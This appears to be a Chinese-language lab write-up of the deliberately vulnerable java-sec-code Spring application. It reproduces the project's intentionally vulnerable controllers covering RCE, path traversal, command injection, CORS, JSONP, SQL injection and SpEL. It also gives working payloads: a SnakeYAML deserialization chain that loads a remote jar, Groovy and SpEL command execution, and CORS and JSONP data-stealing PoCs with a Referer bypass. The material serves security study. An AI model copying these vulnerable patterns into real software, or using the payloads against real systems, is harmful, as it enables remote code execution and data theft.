环境配置 下载地址:
https://github.com/JoyChou93/java-sec-code
选择本地的换源Maven
创建数据库并导入文件
然后修改一下application.properties
的数据库用户名密码
注意不要用jdk.17.0.1
,里面的xalan
包有问题
我是在windows上搭建环境
需要修改一些代码
登录模块 login.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <head > <title > Login</title > <meta charset ="UTF-8" /> <meta name ="_csrf" th:content ="${_csrf.token}" /> <meta name ="_csrf_headerName" th:content ="${_csrf.headerName}" /> <meta name ="_csrf_parameterName" th:content ="${_csrf.parameterName}" /> <link rel ="stylesheet" th:href ="@{/css/login.css}" type ="text/css" /> <script th:src ="@{https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js}" > </script > <script > window .csrfToken = { "tokenName" : $("meta[name='_csrf_headerName']" ).attr ("content" ), "tokenValue" : $("meta[name='_csrf']" ).attr ("content" ) }; console .log (csrfToken.tokenName ); console .log (csrfToken.tokenValue ); </script > </head > <body > <div class ="login-page" > <div class ="form" > <input type ="text" placeholder ="Username" name ="username" required ="required" /> <input type ="password" placeholder ="Password" name ="password" required ="required" /> <p > <input type ="checkbox" name ="remember-me" checked ="checked" /> RememberMe</p > <button onclick ="login()" > Login</button > </div > </div > </body > <script th:inline ="javascript" > var ctx = [[@{/}]]; var tokenHeader = {}; tokenHeader[csrfToken.tokenName ] = csrfToken.tokenValue ; function login ( ) { var username = $("input[name='username']" ).val (); var password = $("input[name='password']" ).val (); var remember_me =$("input[name='remember-me']" ).is (':checked' ); $.ajax ({ type : "post" , url : ctx + "login" , headers : tokenHeader, data : { "username" : username, "password" : password, "remember-me" : remember_me}, dataType : "json" , success : function (r ) { if (r.code == "0" ) { if (r.redirectUrl == '' ) { location.href = ctx + "index" ; } else { location.href = r.redirectUrl ; } } else { alert (r.message ); } } }); } </script > </html >
login.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package org.joychou.controller;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.security.core.Authentication;import org.springframework.security.core.context.SecurityContextHolder;import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@Controller public class Login { protected final Logger logger = LoggerFactory.getLogger(this .getClass()); @RequestMapping("/login") public String login () { return "login" ; } @GetMapping("/logout") public String logoutPage (HttpServletRequest request, HttpServletResponse response) { String username = request.getUserPrincipal().getName(); Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (auth != null ) { new SecurityContextLogoutHandler ().logout(request, response, auth); } String[] deleteCookieKey = {"JSESSIONID" , "remember-me" }; for (String key : deleteCookieKey) { Cookie cookie = new Cookie (key, null ); cookie.setMaxAge(0 ); cookie.setPath("/" ); response.addCookie(cookie); } if (null == request.getUserPrincipal()) { logger.info("USER " + username + " LOGOUT SUCCESS." ); } else { logger.info("User " + username + " logout failed. Please try again." ); } return "redirect:/login?logout" ; } }
admin/admin123
RCE index.html的超链接需要手动修改
/rce/runtime/exec?cmd=ipconfig
exec执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @RestController @RequestMapping("/rce") public class Rce { @GetMapping("/runtime/exec") public String CommandExec (String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder (); try { Process p = run.exec(cmd); BufferedInputStream in = new BufferedInputStream (p.getInputStream()); BufferedReader inBr = new BufferedReader (new InputStreamReader (in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null ) { sb.append(tmpStr); } if (p.waitFor() != 0 ) { if (p.exitValue() == 1 ) return "Command exec failed!!" ; } inBr.close(); in.close(); } catch (Exception e) { return e.toString(); } return sb.toString(); }
ProcessBuilder执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @GetMapping("/ProcessBuilder") public String processBuilder (String cmd) { StringBuilder sb = new StringBuilder (); try { String[] arrCmd = {"/bin/sh" , "-c" , cmd}; ProcessBuilder processBuilder = new ProcessBuilder (arrCmd); Process p = processBuilder.start(); BufferedInputStream in = new BufferedInputStream (p.getInputStream()); BufferedReader inBr = new BufferedReader (new InputStreamReader (in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null ) { sb.append(tmpStr); } } catch (Exception e) { return e.toString(); } return sb.toString(); }
js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @GetMapping("/jscmd") public void jsEngine (String jsurl) throws Exception{ ScriptEngine engine = new ScriptEngineManager ().getEngineByName("js" ); Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); String cmd = String.format("load(\"%s\")" , jsurl); engine.eval(cmd, bindings); } payload: var a = main();function main () { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator" ); }
Yaml反序列化命令执行 探测一下
1 !!javax.script.ScriptEngineManager%20 [!!java.net.URLClassLoader%20 [[!!java.net.URL%20 [%22http:
漏洞原理就是SnakeYAML的反序列化漏洞,在解析恶意的yml内容时会完成指定动作,先是触发java.net.URL拉取远程HTTP服务器上的恶意jar文件,然后寻找jar文件中的实现javax.script.ScriptEngineFactory
接口的类并实例化,实例化类时执行恶意代码,造成RCE漏洞
Java–SnakeYaml反序列化 - Erichas - 博客园 (cnblogs.com)
1 2 3 4 5 @GetMapping("/vuln/yarm") public void yarm (String content) { Yaml y = new Yaml (); y.load(content); }
yaml-payload/AwesomeScriptEngineFactory.java at master · artsploit/yaml-payload · GitHub
师傅写好的脚本,稍作修改
1 2 3 4 5 6 7 8 public AwesomeScriptEngineFactory () { try { Runtime.getRuntime().exec("whoami" ); Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } }
打包一下
1 2 javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
然后传进去
1 2 3 4 !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[ !!java.net.URL ["http://localhost/yaml-payload.jar"] ]] ]
Groovy 命令执行
Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库
1 2 3 4 5 @GetMapping("groovy") public void groovyshell (String content) { GroovyShell groovyShell = new GroovyShell (); groovyShell.evaluate(content); }
GroovyShell
可动态运行groovy
语言,也可用于命令执行,如果用户输入不加以过滤就会导致rce
1 2 http://localhost:8080/rce/groovy?content="open -a Calculator".execute() http://localhost:8080/rce/groovy?content="calc".execute()
path_traversal 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package org.joychou.controller;import org.apache.commons.codec.binary.Base64;import org.joychou.security.SecurityUtil;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RestController;import java.io.File;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;@RestController public class PathTraversal { protected final Logger logger = LoggerFactory.getLogger(this .getClass()); @GetMapping("/path_traversal/vul") public String getImage (String filepath) throws IOException { return getImgBase64(filepath); } @GetMapping("/path_traversal/sec") public String getImageSec (String filepath) throws IOException { if (SecurityUtil.pathFilter(filepath) == null ) { logger.info("Illegal file path: " + filepath); return "Bad boy. Illegal file path." ; } return getImgBase64(filepath); } private String getImgBase64 (String imgFile) throws IOException { logger.info("Working directory: " + System.getProperty("user.dir" )); logger.info("File path: " + imgFile); File f = new File (imgFile); if (f.exists() && !f.isDirectory()) { byte [] data = Files.readAllBytes(Paths.get(imgFile)); return new String (Base64.encodeBase64(data)); } else { return "File doesn't exist or is not a file." ; } } public static void main (String[] argv) throws IOException { String aa = new String (Files.readAllBytes(Paths.get("pom.xml" )), StandardCharsets.UTF_8); System.out.println(aa); } }
官方修复是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static String pathFilter (String filepath) { String temp = filepath; while (temp.indexOf('%' ) != -1 ) { try { temp = URLDecoder.decode(temp, "utf-8" ); } catch (UnsupportedEncodingException e) { logger.info("Unsupported encoding exception: " + filepath); return null ; } catch (Exception e) { logger.info(e.toString()); return null ; } } if (temp.contains(".." ) || temp.charAt(0 ) == '/' ||temp.contains(":" )) { return null ; } return filepath; }
codeinject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package org.joychou.controller;import org.joychou.security.SecurityUtil;import org.joychou.util.WebUtils;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@RestController public class CommandInject { protected final Logger logger = LoggerFactory.getLogger(this .getClass()); @GetMapping("/codeinject") public String codeInject (String filepath) throws IOException { String[] cmdList = new String []{"cmd.exe" , "/c" , "dir" + filepath}; ProcessBuilder builder = new ProcessBuilder (cmdList); builder.redirectErrorStream(true ); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); } @GetMapping("/codeinject/host") public String codeInjectHost (HttpServletRequest request) throws IOException { String host = request.getHeader("host" ); logger.info(host); String[] cmdList = new String []{"cmd.exe" , "-c" , "dir " + host}; ProcessBuilder builder = new ProcessBuilder (cmdList); builder.redirectErrorStream(true ); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); } @GetMapping("/codeinject/sec") public String codeInjectSec (String filepath) throws IOException { String filterFilePath = SecurityUtil.cmdFilter(filepath); if (null == filterFilePath) { return "Bad boy. I got u." ; } String[] cmdList = new String []{"cmd" , "-c" , "dir " + filterFilePath}; ProcessBuilder builder = new ProcessBuilder (cmdList); builder.redirectErrorStream(true ); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); } }
convertStreamToString分析
1 2 3 4 5 6 public static String convertStreamToString (java.io.InputStream is) { java.util.Scanner s = new java .util.Scanner(is).useDelimiter("\\A" ); return s.hasNext() ? s.next() : "" ; }
SecurityUtil.cmdFilter(filepath);
跟进一下
cmdFilter
1 2 3 4 5 6 7 8 public static String cmdFilter (String input) { if (!FILTER_PATTERN.matcher(input).matches()) { return null ; } return input; }
CORS 前端发起的AJAX请求都会收到同源策略CORS
的限制,发起AJAX的请求方法如下:
XMLHttpRequest
JQuery的$.ajax
Fetch
前端在发起AJAX请求时,同域名访问的origin
为空,如果此时后端代码时response.setHeader("Access-Control-Allow-Origin",origin)
,那么Response的header中不会出现Access-Control-Allow-Origin
,因为Origin为空
POC 受害者访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <html > <script src ="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js" > </script > <body > <script > $.ajax ({ type : "GET" , url : "http://localhost:8080/cors/vuls2" , success : function (data ) { alert (data); }, error : function (msg ) { alert (msg) } }); </script > </body > </html >
POC2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <!DOCTYPE html > <html > <script src ="http://libs.baidu.com/jquery/2.0.0/jquery.min.js" > </script > <body > <div id ="demo" > <button type ="button" id ="midi" name ="midi" > test</button > </div > <script > $(function ( ) { $("#midi" ).click (function (event ) { $.ajax ({ type : "GET" , url : "http://192.168.1.100:8080/cors/vuln/origin" , headers :{'origin' :'*' }, success : function (result ) { console .log (result); } }); }); }); </script > </body > </html > 这个POC由于在W3C的规定,header出现以下字符会被终止,但是ajax请求会自动补充origin请求头,造成信息泄露 Accept-Charset Accept-Encoding Connection Content-Length Cookie Cookie2 Content-Transfer-Encoding Date Expect Host Keep-Alive Referer TE Trailer Transfer-Encoding Upgrade User-Agent Via
漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 package org.joychou.controller;import org.joychou.security.SecurityUtil;import org.joychou.util.LoginUtils;import org.springframework.security.web.csrf.CsrfToken;import org.springframework.web.bind.annotation.CrossOrigin;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@RestController @RequestMapping("/cors") public class Cors { private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}" ; @GetMapping("/vuln/origin") public String vuls1 (HttpServletRequest request, HttpServletResponse response) { Cookie cookie1=new Cookie ("anz" ,"aaanz" ); response.addCookie(cookie1); String origin = request.getHeader("origin" ); response.setHeader("Access-Control-Allow-Origin" , origin); response.setHeader("Access-Control-Allow-Credentials" , "true" ); return info; } @GetMapping("/vuln/setHeader") public String vuls2 (HttpServletResponse response) { response.setHeader("Access-Control-Allow-Origin" , "*" ); return info; } @GetMapping("*") @RequestMapping("/vuln/crossOrigin") public String vuls3 () { return info; } @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) @GetMapping("/sec/crossOrigin") public String secCrossOrigin () { return info; } @GetMapping("/sec/webMvcConfigurer") public CsrfToken getCsrfToken_01 (CsrfToken token) { return token; } @GetMapping("/sec/httpCors") public CsrfToken getCsrfToken_02 (CsrfToken token) { return token; } @GetMapping("/sec/originFilter") public CsrfToken getCsrfToken_03 (CsrfToken token) { return token; } @RequestMapping("/sec/corsFilter") public CsrfToken getCsrfToken_04 (CsrfToken token) { return token; } @GetMapping("/sec/checkOrigin") public String seccode (HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin" ); if (origin != null && SecurityUtil.checkURL(origin) == null ) { return "Origin is not safe." ; } response.setHeader("Access-Control-Allow-Origin" , origin); response.setHeader("Access-Control-Allow-Credentials" , "true" ); return LoginUtils.getUserInfo2JsonStr(request); } }
随意访问配置:
1 2 Access-Control-Allow-Credentials' 'true'; Access-Control-Allow-Origin *;
不能实现a.com带上Cookie跨域请求b.com,b.com的请求中头的Cookie不会存在a.com的Cookie
跨域带Cookie测试 测试在xxx.joychou.org跨域请求test.joychou.org,并且成功在test.joychou.org请求头里带上xxx.joychou.org的Cookie。相关步骤:
xxx.joychou.org设置一个aaa=bbb
,domain为.joychou.org
的Cookie
xxx.joychou.org的test.html,前端代码设置withCredentials
为true
test.joychou.org后端设置Access-Control-Allow-Credentials
为true
test.joychou.org后端设置Access-Control-Allow-Origin
为Origin里的值
http://xxx.joychou.org/test.html
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <html > <script src ="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js" > </script > <body > <script > $.ajax ({ type : "GET" , url : "http://test.joychou.org" , xhrFields : { withCredentials : true }, success : function (data ) { alert (data); }, error : function (msg ) { alert (msg) } }); </script > </body > </html >
Nginx导致Cors及修复方案 存在漏洞配置:
1 2 3 add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Methods GET,POST,PUT,DELETE,OPTIONS; add_header 'Access-Control-Allow-Credentials' 'true';
or
1 2 3 add_header 'Access-Control-Allow-Origin' "$http_origin"; add_header Access-Control-Allow-Methods GET,POST,PUT,DELETE,OPTIONS; add_header 'Access-Control-Allow-Credentials' 'true';
修复方案需要限制origin:
1 2 add_header 'Access-Control-Allow-Origin' https://test.joychou.org; add_header 'Access-Control-Allow-Origin' http://test.joychou.org;
Jsonp JSONP是实现跨域的技术,在jQuery中可以通过JSONP形式回调函数来加载其他网域的数据,如anz?callback=?
,jQuery将自动替换?
把其替换为系统函数,然后映射调用
举个例子:
anz?callback=anzcallback
,这里的anzcallback就是?替换,一般是jQuery自动生成
返回的数据:anzcallback({“id”:"1","name":"张三"})
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 package org.joychou.controller;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.JSONPObject;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang.StringUtils;import org.joychou.security.SecurityUtil;import org.joychou.util.LoginUtils;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.MediaType;import org.springframework.security.web.csrf.CookieCsrfTokenRepository;import org.springframework.security.web.csrf.CsrfToken;import org.springframework.web.bind.annotation.*;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.view.json.MappingJackson2JsonView;import org.joychou.config.WebConfig;import org.joychou.util.WebUtils;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.security.Principal;@Slf4j @RestController @RequestMapping("/jsonp") public class Jsonp { private String callback = WebConfig.getBusinessCallback(); @Autowired CookieCsrfTokenRepository cookieCsrfTokenRepository; @RequestMapping(value = "/vuln/referer", produces = "application/javascript") public String referer (HttpServletRequest request) { String callback = request.getParameter(this .callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") public String emptyReferer (HttpServletRequest request) { String referer = request.getHeader("referer" ); if (null != referer && SecurityUtil.checkURL(referer) == null ) { return "error" ; } String callback = request.getParameter(this .callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice (HttpServletRequest request) { return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request)); } @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) public ModelAndView mappingJackson2JsonView (HttpServletRequest req) { ModelAndView view = new ModelAndView (new MappingJackson2JsonView ()); Principal principal = req.getUserPrincipal(); view.addObject("username" , principal.getName()); return view; } @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") public String safecode (HttpServletRequest request) { String referer = request.getHeader("referer" ); if (SecurityUtil.checkURL(referer) == null ) { return "error" ; } String callback = request.getParameter(this .callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } @GetMapping("/getToken") public CsrfToken getCsrfToken1 (CsrfToken token) { return token; } @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") public String getCsrfToken2 (HttpServletRequest request) { CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); String callback = request.getParameter("fastjsonpCallback" ); if (StringUtils.isNotBlank(callback)) { JSONPObject jsonpObj = new JSONPObject (callback); jsonpObj.addParameter(csrfToken); return jsonpObj.toString(); } else { return csrfToken.toString(); } } }
只简单看一下:
1 2 3 4 5 6 7 8 @ControllerAdvice public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { public JSONPAdvice () { super ("callback" , "cback" ); } }
当有接口返回了Object(比如JSONOBbject或者JavaBean,但是不支持STring),只要在参数中加入callback=test
或者cback=test
就会自动变成JSONP接口,比如
1 2 3 4 5 6 @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice () { String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}" ; return JSON.parseObject(info); }
虽然上面代码指定了response的content-type
为application/json
,但是在AbstractJsonpResponseBodyAdvice
类中会设置为application/javascript
,提供给前端调用。
设置content-type
为application/javascript
的代码:
1 2 3 protected MediaType getContentType (MediaType contentType, ServerHttpRequest request, ServerHttpResponse response) { return new MediaType ("application" , "javascript" ); }
还会判断callback的参数是否有效
1 2 3 4 5 private static final Pattern CALLBACK_PARAM_PATTERN = Pattern.compile("[0-9A-Za-z_\\.]*" );protected boolean isValidJsonpQueryParam (String value) { return CALLBACK_PARAM_PATTERN.matcher(value).matches(); }
增加了对refer的验证
1 2 3 4 5 6 7 8 9 10 @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") public String emptyReferer (HttpServletRequest request) { String referer = request.getHeader("referer" ); if (null != referer && SecurityUtil.checkURL(referer) == null ) { return "error" ; } String callback = request.getParameter(this .callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); }
空refer
1 2 3 4 5 6 7 8 9 10 <html > <meta name ="referrer" content ="no-referrer" /> <script > function test (data ){ alert (data.name ); } </script > <script src =http://localhost:8080/jsonp/emptyReferer?callback =test > </script > </html >
iframe标签绕过
1 <iframe src ="javascript:'<script>function test(data){alert(data.name);}</script><script src=http://localhost:8080/jsonp/emptyReferer?callback=test></script>'" > </iframe >
JSONP · JoyChou93/java-sec-code Wiki · GitHub
JSONP绕过CSRF防护token - 先知社区 (aliyun.com)
SQL 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 package org.joychou.controller;import org.joychou.mapper.UserMapper;import org.joychou.dao.User;import org.joychou.security.SecurityUtil;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Value;import org.springframework.web.bind.annotation.*;import javax.annotation.Resource;import java.sql.*;import java.util.List;@SuppressWarnings("Duplicates") @RestController @RequestMapping("/sqli") public class SQLI { private static final Logger logger = LoggerFactory.getLogger(SQLI.class); private static final String driver = "com.mysql.cj.jdbc.Driver" ; @Value("${spring.datasource.url}") private String url; @Value("${spring.datasource.username}") private String user; @Value("${spring.datasource.password}") private String password; @Resource private UserMapper userMapper; @RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul (@RequestParam("username") String username) { StringBuilder result = new StringBuilder (); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) System.out.println("Connect to database successfully." ); Statement statement = con.createStatement(); String sql = "select * from users where username = '" + username + "'" ; logger.info(sql); ResultSet rs = statement.executeQuery(sql); while (rs.next()) { String res_name = rs.getString("username" ); String res_pwd = rs.getString("password" ); String info = String.format("%s: %s\n" , res_name, res_pwd); result.append(info); logger.info(info); } rs.close(); con.close(); } catch (ClassNotFoundException e) { logger.error("Sorry, can't find the Driver!" ); } catch (SQLException e) { logger.error(e.toString()); } return result.toString(); } @RequestMapping("/jdbc/sec") public String jdbc_sqli_sec (@RequestParam("username") String username) { StringBuilder result = new StringBuilder (); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) System.out.println("Connect to database successfully." ); String sql = "select * from users where username = ?" ; PreparedStatement st = con.prepareStatement(sql); st.setString(1 , username); logger.info(st.toString()); ResultSet rs = st.executeQuery(); while (rs.next()) { String res_name = rs.getString("username" ); String res_pwd = rs.getString("password" ); String info = String.format("%s: %s\n" , res_name, res_pwd); result.append(info); logger.info(info); } rs.close(); con.close(); } catch (ClassNotFoundException e) { logger.error("Sorry, can't find the Driver!" ); e.printStackTrace(); } catch (SQLException e) { logger.error(e.toString()); } return result.toString(); } @RequestMapping("/jdbc/ps/vuln") public String jdbc_ps_vuln (@RequestParam("username") String username) { StringBuilder result = new StringBuilder (); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) System.out.println("Connecting to Database successfully." ); String sql = "select * from users where username = '" + username + "'" ; PreparedStatement st = con.prepareStatement(sql); logger.info(st.toString()); ResultSet rs = st.executeQuery(); while (rs.next()) { String res_name = rs.getString("username" ); String res_pwd = rs.getString("password" ); String info = String.format("%s: %s\n" , res_name, res_pwd); result.append(info); logger.info(info); } rs.close(); con.close(); } catch (ClassNotFoundException e) { logger.error("Sorry, can't find the Driver!" ); e.printStackTrace(); } catch (SQLException e) { logger.error(e.toString()); } return result.toString(); } @GetMapping("/mybatis/vuln01") public List<User> mybatisVuln01 (@RequestParam("username") String username) { return userMapper.findByUserNameVuln01(username); } @GetMapping("/mybatis/vuln02") public List<User> mybatisVuln02 (@RequestParam("username") String username) { return userMapper.findByUserNameVuln02(username); } @GetMapping("/mybatis/orderby/vuln03") public List<User> mybatisVuln03 (@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(sort); } @GetMapping("/mybatis/sec01") public User mybatisSec01 (@RequestParam("username") String username) { return userMapper.findByUserName(username); } @GetMapping("/mybatis/sec02") public User mybatisSec02 (@RequestParam("id") Integer id) { return userMapper.findById(id); } @GetMapping("/mybatis/sec03") public User mybatisSec03 () { return userMapper.OrderByUsername(); } @GetMapping("/mybatis/orderby/sec04") public List<User> mybatisOrderBySec04 (@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); } }
UserMapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package org.joychou.mapper;import org.apache.ibatis.annotations.Mapper;import org.apache.ibatis.annotations.Param;import org.apache.ibatis.annotations.Select;import org.joychou.dao.User;import java.util.List;@Mapper public interface UserMapper { @Select("select * from users where username = #{username}") User findByUserName (@Param("username") String username) ; @Select("select * from users where username = '${username}'") List<User> findByUserNameVuln01 (@Param("username") String username) ; List<User> findByUserNameVuln02 (String username) ; List<User> findByUserNameVuln03 (@Param("order") String order) ; User findById (Integer id) ; User OrderByUsername () ; }
在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${},而不用#{},因为#{}变量是经过预编译的,${}没有经过预编译,虽然${}存在SQL注入的风险,但orderBy必须使用${},因为#{}会多出单引号’’导致SQL语句失效,为防止SQL注入只能自己对其过滤
1 2 3 4 select * from users order by 'username' desc select * from users select * from users order by username select * from users order by username desc
@Select
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.apache.ibatis.annotations;import java.lang.annotation.Documented;import java.lang.annotation.ElementType;import java.lang.annotation.Retention;import java.lang.annotation.RetentionPolicy;import java.lang.annotation.Target;@Documented @Retention(RetentionPolicy.RUNTIME) @Target({ElementType.METHOD}) public @interface Select { String[] value(); }
由于 MyBatis 中一个接口方法可以对应多个 SQL 查询语句,因此使用了 String[]
类型来接收多个查询语句
1 2 @Select({"select * from users where username = #{username}", "select * from users where email = #{email}"}) List<User> findUsers (@Param("username") String username, @Param("email") String email) ;
Spel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package org.joychou.controller;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestController public class SpEL { @GetMapping("/spel/vuln") public String rce (String expression) { ExpressionParser parser = new SpelExpressionParser (); return parser.parseExpression(expression).getValue().toString(); } public static void main (String[] args) { ExpressionParser parser = new SpelExpressionParser (); String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")" ; String result = parser.parseExpression(expression).getValue().toString(); System.out.println(result); } }
